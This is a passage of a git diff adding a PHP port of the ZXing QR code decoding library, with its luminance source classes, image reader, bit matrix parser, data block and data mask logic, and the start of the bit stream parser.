* $this->dataWidth + $this->left; + $row = arraycopy($this->luminances, $offset, $row, 0, $width); + + return $row; + } + +//@Override + public function getMatrix() + { + $width = $this->getWidth(); + $height = $this->getHeight(); + +// If the caller asks for the entire underlying image, save the copy and give them the +// original data. The docs specifically warn that result.length must be ignored. + if ($width == $this->dataWidth && $height == $this->dataHeight) { + return $this->luminances; + } + + $area = $width * $height; + $matrix = []; + $inputOffset = $this->top * $this->dataWidth + $this->left; + +// If the width matches the full width of the underlying data, perform a single copy. + if ($width == $this->dataWidth) { + $matrix = arraycopy($this->luminances, $inputOffset, $matrix, 0, $area); + + return $matrix; + } + +// Otherwise copy one cropped row at a time. + $rgb = $this->luminances; + for ($y = 0; $y < $height; $y++) { + $outputOffset = $y * $width; + $matrix = arraycopy($rgb, $inputOffset, $matrix, $outputOffset, $width); + $inputOffset += $this->dataWidth; + } + + return $matrix; + } + +//@Override + public function isCropSupported() + { + return true; + } + +//@Override + public function crop($left, $top, $width, $height) + { + return new GDLuminanceSource($this->luminances, + $this->dataWidth, + $this->dataHeight, + $this->left + $left, + $this->top + $top, + $width, + $height); + } +} diff --git a/includes/qrcodedecoder/Zxing/IMagickLuminanceSource.php b/includes/qrcodedecoder/Zxing/IMagickLuminanceSource.php new file mode 100644 index 0000000..aac6d54 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/IMagickLuminanceSource.php @@ -0,0 +1,150 @@ +_IMagickLuminanceSource($image, $dataWidth, $dataHeight); + + return; + } + parent::__construct($width, $height); + if ($left + $width > $dataWidth || $top + $height > $dataHeight) { + throw new \InvalidArgumentException("Crop rectangle does not fit within image data."); + } + $this->luminances = $image; + $this->dataWidth = $dataWidth; + $this->dataHeight = $dataHeight; + $this->left = $left; + $this->top = $top; + } + + public function _IMagickLuminanceSource(\Imagick $image, $width, $height) + { + parent::__construct($width, $height); + + $this->dataWidth = $width; + $this->dataHeight = $height; + $this->left = 0; + $this->top = 0; + $this->image = $image; + + +// In order to measure pure decoding speed, we convert the entire image to a greyscale array +// up front, which is the same as the Y channel of the YUVLuminanceSource in the real app. + $this->luminances = []; + + $image->setImageColorspace(\Imagick::COLORSPACE_GRAY); + // $image->newPseudoImage(0, 0, "magick:rose"); + $pixels = $image->exportImagePixels(1, 1, $width, $height, "RGB", \Imagick::PIXEL_CHAR); + + $array = []; + $rgb = []; + + $countPixels = count($pixels); + for ($i = 0; $i < $countPixels; $i += 3) { + $r = $pixels[$i] & 0xff; + $g = $pixels[$i + 1] & 0xff; + $b = $pixels[$i + 2] & 0xff; + if ($r == $g && $g == $b) { +// Image is already greyscale, so pick any channel. + + $this->luminances[] = $r;//(($r + 128) % 256) - 128; + } else { +// Calculate luminance cheaply, favoring green. + $this->luminances[] = ($r + 2 * $g + $b) / 4;//(((($r + 2 * $g + $b) / 4) + 128) % 256) - 128; + } + } + } + +//@Override + public function getRow($y, $row = null) + { + if ($y < 0 || $y >= $this->getHeight()) { + throw new \InvalidArgumentException('Requested row is outside the image: ' . $y); + } + $width = $this->getWidth(); + if ($row == null || count($row) < $width) { + $row = []; + } + $offset = ($y + $this->top) * $this->dataWidth + $this->left; + $row = arraycopy($this->luminances, $offset, $row, 0, $width); + + return $row; + } + +//@Override + public function getMatrix() + { + $width = $this->getWidth(); + $height = $this->getHeight(); + +// If the caller asks for the entire underlying image, save the copy and give them the +// original data. The docs specifically warn that result.length must be ignored. + if ($width == $this->dataWidth && $height == $this->dataHeight) { + return $this->luminances; + } + + $area = $width * $height; + $matrix = []; + $inputOffset = $this->top * $this->dataWidth + $this->left; + +// If the width matches the full width of the underlying data, perform a single copy. + if ($width == $this->dataWidth) { + $matrix = arraycopy($this->luminances, $inputOffset, $matrix, 0, $area); + + return $matrix; + } + +// Otherwise copy one cropped row at a time. + $rgb = $this->luminances; + for ($y = 0; $y < $height; $y++) { + $outputOffset = $y * $width; + $matrix = arraycopy($rgb, $inputOffset, $matrix, $outputOffset, $width); + $inputOffset += $this->dataWidth; + } + + return $matrix; + } + +//@Override + public function isCropSupported() + { + return true; + } + +//@Override + public function crop($left, $top, $width, $height) + { + return $this->luminances->cropImage($width, $height, $left, $top); + + return new GDLuminanceSource($this->luminances, + $this->dataWidth, + $this->dataHeight, + $this->left + $left, + $this->top + $top, + $width, + $height); + } +} diff --git a/includes/qrcodedecoder/Zxing/LuminanceSource.php b/includes/qrcodedecoder/Zxing/LuminanceSource.php new file mode 100644 index 0000000..ab971cf --- /dev/null +++ b/includes/qrcodedecoder/Zxing/LuminanceSource.php @@ -0,0 +1,171 @@ +width = $width; + $this->height = $height; + } + + /** + * Fetches luminance data for the underlying bitmap. Values should be fetched using: + * {@code int luminance = array[y * width + x] & 0xff} + * + * @return A row-major 2D array of luminance values. Do not use result.length as it may be + * larger than width * height bytes on some platforms. Do not modify the contents + * of the result. + */ + public abstract function getMatrix(); + + /** + * @return The width of the bitmap. + */ + public final function getWidth() + { + return $this->width; + } + + /** + * @return The height of the bitmap. + */ + public final function getHeight() + { + return $this->height; + } + + /** + * @return bool Whether this subclass supports cropping. + */ + public function isCropSupported() + { + return false; + } + + /** + * Returns a new object with cropped image data. Implementations may keep a reference to the + * original data rather than a copy. Only callable if isCropSupported() is true. + * + * @param left The left coordinate, which must be in [0,getWidth()) + * @param top The top coordinate, which must be in [0,getHeight()) + * @param width The width of the rectangle to crop. + * @param height The height of the rectangle to crop. + * + * @return A cropped version of this object. + */ + public function crop($left, $top, $width, $height) + { + throw new \Exception("This luminance source does not support cropping."); + } + + /** + * @return Whether this subclass supports counter-clockwise rotation. + */ + public function isRotateSupported() + { + return false; + } + + /** + * @return a wrapper of this {@code LuminanceSource} which inverts the luminances it returns -- black becomes + * white and vice versa, and each value becomes (255-value). + */ + public function invert() + { + return new InvertedLuminanceSource($this); + } + + /** + * Returns a new object with rotated image data by 90 degrees counterclockwise. + * Only callable if {@link #isRotateSupported()} is true. + * + * @return A rotated version of this object. + */ + public function rotateCounterClockwise() + { + throw new \Exception("This luminance source does not support rotation by 90 degrees."); + } + + /** + * Returns a new object with rotated image data by 45 degrees counterclockwise. + * Only callable if {@link #isRotateSupported()} is true. + * + * @return A rotated version of this object. + */ + public function rotateCounterClockwise45() + { + throw new \Exception("This luminance source does not support rotation by 45 degrees."); + } + + public final function toString() + { + $row = []; + $result = ''; + for ($y = 0; $y < $this->height; $y++) { + $row = $this->getRow($y, $row); + for ($x = 0; $x < $this->width; $x++) { + $luminance = $row[$x] & 0xFF; + $c = ''; + if ($luminance < 0x40) { + $c = '#'; + } else if ($luminance < 0x80) { + $c = '+'; + } else if ($luminance < 0xC0) { + $c = '.'; + } else { + $c = ' '; + } + $result .= ($c); + } + $result .= ('\n'); + } + + return $result; + } + + /** + * Fetches one row of luminance data from the underlying platform's bitmap. Values range from + * 0 (black) to 255 (white). Because Java does not have an unsigned byte type, callers will have + * to bitwise and with 0xff for each value. It is preferable for implementations of this method + * to only fetch this row rather than the whole image, since no 2D Readers may be installed and + * getMatrix() may never be called. + * + * @param $y ; The row to fetch, which must be in [0,getHeight()) + * @param $row ; An optional preallocated array. If null or too small, it will be ignored. + * Always use the returned object, and ignore the .length of the array. + * + * @return array + * An array containing the luminance data. + */ + public abstract function getRow($y, $row); +} diff --git a/includes/qrcodedecoder/Zxing/NotFoundException.php b/includes/qrcodedecoder/Zxing/NotFoundException.php new file mode 100644 index 0000000..0b3c423 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/NotFoundException.php @@ -0,0 +1,38 @@ + $dataWidth || $top + $height > $dataHeight) { + throw new \InvalidArgumentException("Crop rectangle does not fit within image data."); + } + + $this->yuvData = $yuvData; + $this->dataWidth = $dataWidth; + $this->dataHeight = $dataHeight; + $this->left = $left; + $this->top = $top; + if ($reverseHorizontal) { + $this->reverseHorizontal($width, $height); + } + } + + //@Override + public function getRow($y, $row = null) + { + if ($y < 0 || $y >= getHeight()) { + throw new \InvalidArgumentException("Requested row is outside the image: " + y); + } + $width = $this->getWidth(); + if ($row == null || count($row) < $width) { + $row = [];//new byte[width]; + } + $offset = ($y + $this->top) * $this->dataWidth + $this->left; + $row = arraycopy($this->yuvData, $offset, $row, 0, $width); + + return $row; + } + + //@Override + public function getMatrix() + { + $width = $this->getWidth(); + $height = $this->getHeight(); + + // If the caller asks for the entire underlying image, save the copy and give them the + // original data. The docs specifically warn that result.length must be ignored. + if ($width == $this->dataWidth && $height == $this->dataHeight) { + return $this->yuvData; + } + + $area = $width * $height; + $matrix = [];//new byte[area]; + $inputOffset = $this->top * $this->dataWidth + $this->left; + + // If the width matches the full width of the underlying data, perform a single copy. + if ($width == $this->dataWidth) { + $matrix = arraycopy($this->yuvData, $inputOffset, $matrix, 0, $area); + + return $matrix; + } + + // Otherwise copy one cropped row at a time. + $yuv = $this->yuvData; + for ($y = 0; $y < $height; $y++) { + $outputOffset = $y * $width; + $matrix = arraycopy($this->yuvData, $inputOffset, $matrix, $outputOffset, $width); + $inputOffset += $this->dataWidth; + } + + return $matrix; + } + + // @Override + public function isCropSupported() + { + return true; + } + + // @Override + public function crop($left, $top, $width, $height) + { + return new PlanarYUVLuminanceSource($this->yuvData, + $this->dataWidth, + $this->dataHeight, + $this->left + $left, + $this->top + $top, + $width, + $height, + false); + } + + public function renderThumbnail() + { + $width = (int)($this->getWidth() / self::$THUMBNAIL_SCALE_FACTOR); + $height = (int)($this->getHeight() / self::$THUMBNAIL_SCALE_FACTOR); + $pixels = [];//new int[width * height]; + $yuv = $this->yuvData; + $inputOffset = $this->top * $this->dataWidth + $this->left; + + for ($y = 0; $y < $height; $y++) { + $outputOffset = $y * $width; + for ($x = 0; $x < $width; $x++) { + $grey = ($yuv[$inputOffset + $x * self::$THUMBNAIL_SCALE_FACTOR] & 0xff); + $pixels[$outputOffset + $x] = (0xFF000000 | ($grey * 0x00010101)); + } + $inputOffset += $this->dataWidth * self::$THUMBNAIL_SCALE_FACTOR; + } + + return $pixels; + } + + /** + * @return width of image from {@link #renderThumbnail()} + */ + /* + public int getThumbnailWidth() { + return getWidth() / THUMBNAIL_SCALE_FACTOR; + }*/ + + /** + * @return height of image from {@link #renderThumbnail()} + */ + /* + public int getThumbnailHeight() { + return getHeight() / THUMBNAIL_SCALE_FACTOR; + } + + private void reverseHorizontal(int width, int height) { + byte[] yuvData = this.yuvData; + for (int y = 0, rowStart = top * dataWidth + left; y < height; y++, rowStart += dataWidth) { + int middle = rowStart + width / 2; + for (int x1 = rowStart, x2 = rowStart + width - 1; x1 < middle; x1++, x2--) { + byte temp = yuvData[x1]; + yuvData[x1] = yuvData[x2]; + yuvData[x2] = temp; + } + } + } +*/ +} diff --git a/includes/qrcodedecoder/Zxing/QrReader.php b/includes/qrcodedecoder/Zxing/QrReader.php new file mode 100644 index 0000000..f976156 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/QrReader.php @@ -0,0 +1,105 @@ +readImage($imgSource); + } else { + $image = file_get_contents($imgSource); + $im = imagecreatefromstring($image); + } + break; + + case QrReader::SOURCE_TYPE_BLOB: + if ($useImagickIfAvailable && extension_loaded('imagick')) { + $im = new \Imagick(); + $im->readImageBlob($imgSource); + } else { + $im = imagecreatefromstring($imgSource); + } + break; + + case QrReader::SOURCE_TYPE_RESOURCE: + $im = $imgSource; + if ($useImagickIfAvailable && extension_loaded('imagick')) { + $useImagickIfAvailable = true; + } else { + $useImagickIfAvailable = false; + } + break; + } + if ($useImagickIfAvailable && extension_loaded('imagick')) { + if (!$im instanceof \Imagick) { + throw new \InvalidArgumentException('Invalid image source.'); + } + $width = $im->getImageWidth(); + $height = $im->getImageHeight(); + $source = new IMagickLuminanceSource($im, $width, $height); + } else { + if (!is_resource($im) && !is_object($im)) { + throw new \InvalidArgumentException('Invalid image source.'); + } + $width = imagesx($im); + $height = imagesy($im); + $source = new GDLuminanceSource($im, $width, $height); + } + $histo = new HybridBinarizer($source); + $this->bitmap = new BinaryBitmap($histo); + $this->reader = new QRCodeReader(); + } + + public function decode() + { + try { + $this->result = $this->reader->decode($this->bitmap); + } catch (NotFoundException $er) { + $this->result = false; + } catch (FormatException $er) { + $this->result = false; + } catch (ChecksumException $er) { + $this->result = false; + } + } + + public function text() + { + $this->decode(); + + if ($this->result !== false && method_exists($this->result, 'toString')) { + return $this->result->toString(); + } + + return $this->result; + } + + public function getResult() + { + return $this->result; + } +} diff --git a/includes/qrcodedecoder/Zxing/Qrcode/Decoder/BitMatrixParser.php b/includes/qrcodedecoder/Zxing/Qrcode/Decoder/BitMatrixParser.php new file mode 100644 index 0000000..8060720 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Qrcode/Decoder/BitMatrixParser.php @@ -0,0 +1,263 @@ += 21 and 1 mod 4 + */ + public function __construct($bitMatrix) + { + $dimension = $bitMatrix->getHeight(); + if ($dimension < 21 || ($dimension & 0x03) != 1) { + throw FormatException::getFormatInstance(); + } + $this->bitMatrix = $bitMatrix; + } + + /** + *

    Reads the bits in the {@link BitMatrix} representing the finder pattern in the + * correct order in order to reconstruct the codewords bytes contained within the + * QR Code.

    + * + * @return bytes encoded within the QR Code + * @throws FormatException if the exact number of bytes expected is not read + */ + public function readCodewords() + { + + $formatInfo = $this->readFormatInformation(); + $version = $this->readVersion(); + + // Get the data mask for the format used in this QR Code. This will exclude + // some bits from reading as we wind through the bit matrix. + $dataMask = DataMask::forReference($formatInfo->getDataMask()); + $dimension = $this->bitMatrix->getHeight(); + $dataMask->unmaskBitMatrix($this->bitMatrix, $dimension); + + $functionPattern = $version->buildFunctionPattern(); + + $readingUp = true; + if ($version->getTotalCodewords()) { + $result = fill_array(0, $version->getTotalCodewords(), 0); + } else { + $result = []; + } + $resultOffset = 0; + $currentByte = 0; + $bitsRead = 0; + // Read columns in pairs, from right to left + for ($j = $dimension - 1; $j > 0; $j -= 2) { + if ($j == 6) { + // Skip whole column with vertical alignment pattern; + // saves time and makes the other code proceed more cleanly + $j--; + } + // Read alternatingly from bottom to top then top to bottom + for ($count = 0; $count < $dimension; $count++) { + $i = $readingUp ? $dimension - 1 - $count : $count; + for ($col = 0; $col < 2; $col++) { + // Ignore bits covered by the function pattern + if (!$functionPattern->get($j - $col, $i)) { + // Read a bit + $bitsRead++; + $currentByte <<= 1; + if ($this->bitMatrix->get($j - $col, $i)) { + $currentByte |= 1; + } + // If we've made a whole byte, save it off + if ($bitsRead == 8) { + $result[$resultOffset++] = $currentByte; //(byte) + $bitsRead = 0; + $currentByte = 0; + } + } + } + } + $readingUp ^= true; // readingUp = !readingUp; // switch directions + } + if ($resultOffset != $version->getTotalCodewords()) { + throw FormatException::getFormatInstance(); + } + + return $result; + } + + /** + *

    Reads format information from one of its two locations within the QR Code.

    + * + * @return {@link FormatInformation} encapsulating the QR Code's format info + * @throws FormatException if both format information locations cannot be parsed as + * the valid encoding of format information + */ + public function readFormatInformation() + { + + if ($this->parsedFormatInfo != null) { + return $this->parsedFormatInfo; + } + + // Read top-left format info bits + $formatInfoBits1 = 0; + for ($i = 0; $i < 6; $i++) { + $formatInfoBits1 = $this->copyBit($i, 8, $formatInfoBits1); + } + // .. and skip a bit in the timing pattern ... + $formatInfoBits1 = $this->copyBit(7, 8, $formatInfoBits1); + $formatInfoBits1 = $this->copyBit(8, 8, $formatInfoBits1); + $formatInfoBits1 = $this->copyBit(8, 7, $formatInfoBits1); + // .. and skip a bit in the timing pattern ... + for ($j = 5; $j >= 0; $j--) { + $formatInfoBits1 = $this->copyBit(8, $j, $formatInfoBits1); + } + + // Read the top-right/bottom-left pattern too + $dimension = $this->bitMatrix->getHeight(); + $formatInfoBits2 = 0; + $jMin = $dimension - 7; + for ($j = $dimension - 1; $j >= $jMin; $j--) { + $formatInfoBits2 = $this->copyBit(8, $j, $formatInfoBits2); + } + for ($i = $dimension - 8; $i < $dimension; $i++) { + $formatInfoBits2 = $this->copyBit($i, 8, $formatInfoBits2); + } + + $parsedFormatInfo = FormatInformation::decodeFormatInformation($formatInfoBits1, $formatInfoBits2); + if ($parsedFormatInfo != null) { + return $parsedFormatInfo; + } + throw FormatException::getFormatInstance(); + } + + private function copyBit($i, $j, $versionBits) + { + $bit = $this->mirror ? $this->bitMatrix->get($j, $i) : $this->bitMatrix->get($i, $j); + + return $bit ? ($versionBits << 1) | 0x1 : $versionBits << 1; + } + + /** + *

    Reads version information from one of its two locations within the QR Code.

    + * + * @return {@link Version} encapsulating the QR Code's version + * @throws FormatException if both version information locations cannot be parsed as + * the valid encoding of version information + */ + public function readVersion() + { + + if ($this->parsedVersion != null) { + return $this->parsedVersion; + } + + $dimension = $this->bitMatrix->getHeight(); + + $provisionalVersion = ($dimension - 17) / 4; + if ($provisionalVersion <= 6) { + return Version::getVersionForNumber($provisionalVersion); + } + + // Read top-right version info: 3 wide by 6 tall + $versionBits = 0; + $ijMin = $dimension - 11; + for ($j = 5; $j >= 0; $j--) { + for ($i = $dimension - 9; $i >= $ijMin; $i--) { + $versionBits = $this->copyBit($i, $j, $versionBits); + } + } + + $theParsedVersion = Version::decodeVersionInformation($versionBits); + if ($theParsedVersion != null && $theParsedVersion->getDimensionForVersion() == $dimension) { + $this->parsedVersion = $theParsedVersion; + + return $theParsedVersion; + } + + // Hmm, failed. Try bottom left: 6 wide by 3 tall + $versionBits = 0; + for ($i = 5; $i >= 0; $i--) { + for ($j = $dimension - 9; $j >= $ijMin; $j--) { + $versionBits = $this->copyBit($i, $j, $versionBits); + } + } + + $theParsedVersion = Version::decodeVersionInformation($versionBits); + if ($theParsedVersion != null && $theParsedVersion->getDimensionForVersion() == $dimension) { + $this->parsedVersion = $theParsedVersion; + + return $theParsedVersion; + } + throw FormatException::getFormatInstance(); + } + + /** + * Revert the mask removal done while reading the code words. The bit matrix should revert to its original state. + */ + public function remask() + { + if ($this->parsedFormatInfo == null) { + return; // We have no format information, and have no data mask + } + $dataMask = DataMask::forReference($this->parsedFormatInfo->getDataMask()); + $dimension = $this->bitMatrix->getHeight(); + $dataMask->unmaskBitMatrix($this->bitMatrix, $dimension); + } + + /** + * Prepare the parser for a mirrored operation. + * This flag has effect only on the {@link #readFormatInformation()} and the + * {@link #readVersion()}. Before proceeding with {@link #readCodewords()} the + * {@link #mirror()} method should be called. + * + * @param mirror Whether to read version and format information mirrored. + */ + public function setMirror($mirror) + { + $parsedVersion = null; + $parsedFormatInfo = null; + $this->mirror = $mirror; + } + + /** Mirror the bit matrix in order to attempt a second reading. */ + public function mirror() + { + for ($x = 0; $x < $this->bitMatrix->getWidth(); $x++) { + for ($y = $x + 1; $y < $this->bitMatrix->getHeight(); $y++) { + if ($this->bitMatrix->get($x, $y) != $this->bitMatrix->get($y, $x)) { + $this->bitMatrix->flip($y, $x); + $this->bitMatrix->flip($x, $y); + } + } + } + } +} diff --git a/includes/qrcodedecoder/Zxing/Qrcode/Decoder/DataBlock.php b/includes/qrcodedecoder/Zxing/Qrcode/Decoder/DataBlock.php new file mode 100644 index 0000000..c845247 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Qrcode/Decoder/DataBlock.php @@ -0,0 +1,129 @@ +Encapsulates a block of data within a QR Code. QR Codes may split their data into + * multiple blocks, each of which is a unit of data and error-correction codewords. Each + * is represented by an instance of this class.

    + * + * @author Sean Owen + */ +final class DataBlock +{ + private $numDataCodewords; + private $codewords; //byte[] + + private function __construct($numDataCodewords, $codewords) + { + $this->numDataCodewords = $numDataCodewords; + $this->codewords = $codewords; + } + + /** + *

    When QR Codes use multiple data blocks, they are actually interleaved. + * That is, the first byte of data block 1 to n is written, then the second bytes, and so on. This + * method will separate the data into original blocks.

    + * + * @param rawCodewords bytes as read directly from the QR Code + * @param version version of the QR Code + * @param ecLevel error-correction level of the QR Code + * + * @return array DataBlocks containing original bytes, "de-interleaved" from representation in the + * QR Code + */ + public static function getDataBlocks($rawCodewords, + $version, + $ecLevel) + { + + if (count($rawCodewords) != $version->getTotalCodewords()) { + throw new \InvalidArgumentException(); + } + + // Figure out the number and size of data blocks used by this version and + // error correction level + $ecBlocks = $version->getECBlocksForLevel($ecLevel); + + // First count the total number of data blocks + $totalBlocks = 0; + $ecBlockArray = $ecBlocks->getECBlocks(); + foreach ($ecBlockArray as $ecBlock) { + $totalBlocks += $ecBlock->getCount(); + } + + // Now establish DataBlocks of the appropriate size and number of data codewords + $result = [];//new DataBlock[$totalBlocks]; + $numResultBlocks = 0; + foreach ($ecBlockArray as $ecBlock) { + $ecBlockCount = $ecBlock->getCount(); + for ($i = 0; $i < $ecBlockCount; $i++) { + $numDataCodewords = $ecBlock->getDataCodewords(); + $numBlockCodewords = $ecBlocks->getECCodewordsPerBlock() + $numDataCodewords; + $result[$numResultBlocks++] = new DataBlock($numDataCodewords, fill_array(0, $numBlockCodewords, 0)); + } + } + + // All blocks have the same amount of data, except that the last n + // (where n may be 0) have 1 more byte. Figure out where these start. + $shorterBlocksTotalCodewords = count($result[0]->codewords); + $longerBlocksStartAt = count($result) - 1; + while ($longerBlocksStartAt >= 0) { + $numCodewords = count($result[$longerBlocksStartAt]->codewords); + if ($numCodewords == $shorterBlocksTotalCodewords) { + break; + } + $longerBlocksStartAt--; + } + $longerBlocksStartAt++; + + $shorterBlocksNumDataCodewords = $shorterBlocksTotalCodewords - $ecBlocks->getECCodewordsPerBlock(); + // The last elements of result may be 1 element longer; + // first fill out as many elements as all of them have + $rawCodewordsOffset = 0; + for ($i = 0; $i < $shorterBlocksNumDataCodewords; $i++) { + for ($j = 0; $j < $numResultBlocks; $j++) { + $result[$j]->codewords[$i] = $rawCodewords[$rawCodewordsOffset++]; + } + } + // Fill out the last data block in the longer ones + for ($j = $longerBlocksStartAt; $j < $numResultBlocks; $j++) { + $result[$j]->codewords[$shorterBlocksNumDataCodewords] = $rawCodewords[$rawCodewordsOffset++]; + } + // Now add in error correction blocks + $max = count($result[0]->codewords); + for ($i = $shorterBlocksNumDataCodewords; $i < $max; $i++) { + for ($j = 0; $j < $numResultBlocks; $j++) { + $iOffset = $j < $longerBlocksStartAt ? $i : $i + 1; + $result[$j]->codewords[$iOffset] = $rawCodewords[$rawCodewordsOffset++]; + } + } + + return $result; + } + + public function getNumDataCodewords() + { + return $this->numDataCodewords; + } + + public function getCodewords() + { + return $this->codewords; + } +} diff --git a/includes/qrcodedecoder/Zxing/Qrcode/Decoder/DataMask.php b/includes/qrcodedecoder/Zxing/Qrcode/Decoder/DataMask.php new file mode 100644 index 0000000..5fa2098 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Qrcode/Decoder/DataMask.php @@ -0,0 +1,196 @@ +Encapsulates data masks for the data bits in a QR code, per ISO 18004:2006 6.8. Implementations + * of this class can un-mask a raw BitMatrix. For simplicity, they will unmask the entire BitMatrix, + * including areas used for finder patterns, timing patterns, etc. These areas should be unused + * after the point they are unmasked anyway.

    + * + *

    Note that the diagram in section 6.8.1 is misleading since it indicates that i is column position + * and j is row position. In fact, as the text says, i is row position and j is column position.

    + * + * @author Sean Owen + */ +abstract class DataMask +{ + + /** + * See ISO 18004:2006 6.8.1 + */ + private static $DATA_MASKS = []; + + public function __construct() + { + + } + + public static function Init() + { + self::$DATA_MASKS = [ + new DataMask000(), + new DataMask001(), + new DataMask010(), + new DataMask011(), + new DataMask100(), + new DataMask101(), + new DataMask110(), + new DataMask111(), + ]; + } + + /** + * @param reference a value between 0 and 7 indicating one of the eight possible + * data mask patterns a QR Code may use + * + * @return DataMask encapsulating the data mask pattern + */ + public static function forReference($reference) + { + if ($reference < 0 || $reference > 7) { + throw new \InvalidArgumentException(); + } + + return self::$DATA_MASKS[$reference]; + } + + /** + *

    Implementations of this method reverse the data masking process applied to a QR Code and + * make its bits ready to read.

    + * + * @param bits representation of QR Code bits + * @param dimension dimension of QR Code, represented by bits, being unmasked + */ + final public function unmaskBitMatrix($bits, $dimension) + { + for ($i = 0; $i < $dimension; $i++) { + for ($j = 0; $j < $dimension; $j++) { + if ($this->isMasked($i, $j)) { + $bits->flip($j, $i); + } + } + } + } + + abstract public function isMasked($i, $j); +} + +DataMask::Init(); + +/** + * 000: mask bits for which (x + y) mod 2 == 0 + */ +final class DataMask000 extends DataMask +{ + // @Override + public function isMasked($i, $j) + { + return (($i + $j) & 0x01) == 0; + } +} + +/** + * 001: mask bits for which x mod 2 == 0 + */ +final class DataMask001 extends DataMask +{ + //@Override + public function isMasked($i, $j) + { + return ($i & 0x01) == 0; + } +} + +/** + * 010: mask bits for which y mod 3 == 0 + */ +final class DataMask010 extends DataMask +{ + //@Override + public function isMasked($i, $j) + { + return $j % 3 == 0; + } +} + +/** + * 011: mask bits for which (x + y) mod 3 == 0 + */ +final class DataMask011 extends DataMask +{ + //@Override + public function isMasked($i, $j) + { + return ($i + $j) % 3 == 0; + } +} + +/** + * 100: mask bits for which (x/2 + y/3) mod 2 == 0 + */ +final class DataMask100 extends DataMask +{ + //@Override + public function isMasked($i, $j) + { + return (int)(((int)($i / 2) + (int)($j / 3)) & 0x01) == 0; + } +} + +/** + * 101: mask bits for which xy mod 2 + xy mod 3 == 0 + */ +final class DataMask101 extends DataMask +{ + //@Override + public function isMasked($i, $j) + { + $temp = $i * $j; + + return ($temp & 0x01) + ($temp % 3) == 0; + } +} + +/** + * 110: mask bits for which (xy mod 2 + xy mod 3) mod 2 == 0 + */ +final class DataMask110 extends DataMask +{ + //@Override + public function isMasked($i, $j) + { + $temp = $i * $j; + + return ((($temp & 0x01) + ($temp % 3)) & 0x01) == 0; + } +} + +/** + * 111: mask bits for which ((x+y)mod 2 + xy mod 3) mod 2 == 0 + */ +final class DataMask111 extends DataMask +{ + //@Override + public function isMasked($i, $j) + { + return (((($i + $j) & 0x01) + (($i * $j) % 3)) & 0x01) == 0; + } +} diff --git a/includes/qrcodedecoder/Zxing/Qrcode/Decoder/DecodedBitStreamParser.php b/includes/qrcodedecoder/Zxing/Qrcode/Decoder/DecodedBitStreamParser.php new file mode 100644 index 0000000..a0afdf4 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Qrcode/Decoder/DecodedBitStreamParser.php @@ -0,0 +1,355 @@ +QR Codes can encode text as bits in one of several modes, and can use multiple modes + * in one QR Code. This class decodes the bits back into text.

    + * + *

    See ISO 18004:2006, 6.4.3 - 6.4.7

    + * + * @author Sean Owen + */ +final class DecodedBitStreamParser +{ + + /** + * See ISO 18004:2006, 6.4.4 Table 5 + */ + private static $ALPHANUMERIC_CHARS = [ + '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', + 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', + 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', + ' ', '$', '%', '*', '+', '-', '.', '/', ':', + ]; + private static $GB2312_SUBSET = 1; + + public static function decode($bytes, + $version, + $ecLevel, + $hints) + { + $bits = new BitSource($bytes); + $result = '';//new StringBuilder(50); + $byteSegments = []; + $symbolSequence = -1; + $parityData = -1; + + try { + $currentCharacterSetECI = null; + $fc1InEffect = false; + $mode = ''; + do { + // While still another segment to read... + if ($bits->available() < 4) { + // OK, assume we're done. Really, a TERMINATOR mode should have been recorded here + $mode = Mode::$TERMINATOR; + } else { + $mode = Mode::forBits($bits->readBits(4)); // mode is encoded by 4 bits + } + if ($mode != Mode::$TERMINATOR) { + if ($mode == Mode::$FNC1_FIRST_POSITION || $mode == Mode::$FNC1_SECOND_POSITION) { + // We do little with FNC1 except alter the parsed result a bit according to the spec + $fc1InEffect = true; + } else if ($mode == Mode::$STRUCTURED_APPEND) { + if ($bits->available() < 16) { + throw FormatException::getFormatInstance(); + } + // sequence number and parity is added later to the result metadata + // Read next 8 bits (symbol sequence #) and 8 bits (parity data), then continue + $symbolSequence = $bits->readBits(8); + $parityData = $bits->readBits(8); + } else if ($mode == Mode::$ECI) { + // Count doesn't apply to ECI + $value = self::parseECIValue($bits); + $currentCharacterSetECI = CharacterSetECI::getCharacterSetECIByValue($value); + if ($currentCharacterSetECI == null) { + throw FormatException::getFormatInstance(); + } + } else { + // First handle Hanzi mode which does not start with character count + if ($mode == Mode::$HANZI) { + //chinese mode contains a sub set indicator right after mode indicator + $subset = $bits->readBits(4); + $countHanzi = $bits->readBits($mode->getCharacterCountBits($version)); + if ($subset == self::$GB2312_SUBSET) { + self::decodeHanziSegment($bits, $result, $countHanzi); + } + } else { + // "Normal" QR code modes: + // How many characters will follow, encoded in this mode? + $count = $bits->readBits($mode->getCharacterCountBits($version)); + if ($mode == Mode::$NUMERIC) { + self::decodeNumericSegment($bits, $result, $count); + } else if ($mode == Mode::$ALPHANUMERIC) { + self::decodeAlphanumericSegment($bits, $result, $count, $fc1InEffect); + } else if ($mode == Mode::$BYTE) { + self::decodeByteSegment($bits, $result, $count, $currentCharacterSetECI, $byteSegments, $hints); + } else if ($mode == Mode::$KANJI) { + self::decodeKanjiSegment($bits, $result, $count); + } else { + throw FormatException::getFormatInstance(); + } + } + } + } + } while ($mode != Mode::$TERMINATOR); + } catch (\InvalidArgumentException $iae) { + // from readBits() calls + throw FormatException::getFormatInstance(); + } + + return new DecoderResult($bytes, + $result, + empty($byteSegments) ? null : $byteSegments, + $ecLevel == null ? null : 'L',//ErrorCorrectionLevel::toString($ecLevel), + $symbolSequence, + $parityData); + } + + private static function parseECIValue($bits) + { + $firstByte = $bits->readBits(8); + if (($firstByte & 0x80) == 0) { + // just one byte + return $firstByte & 0x7F; + } + if (($firstByte & 0xC0) == 0x80) { + // two bytes + $secondByte = $bits->readBits(8); + + return (($firstByte & 0x3F) << 8) | $secondByte; + } + if (($firstByte & 0xE0) == 0xC0) { + // three bytes + $secondThirdBytes = $bits->readBits(16); + + return (($firstByte & 0x1F) << 16) | $secondThirdBytes; + } + throw FormatException::getFormatInstance(); + } + + /** + * See specification GBT 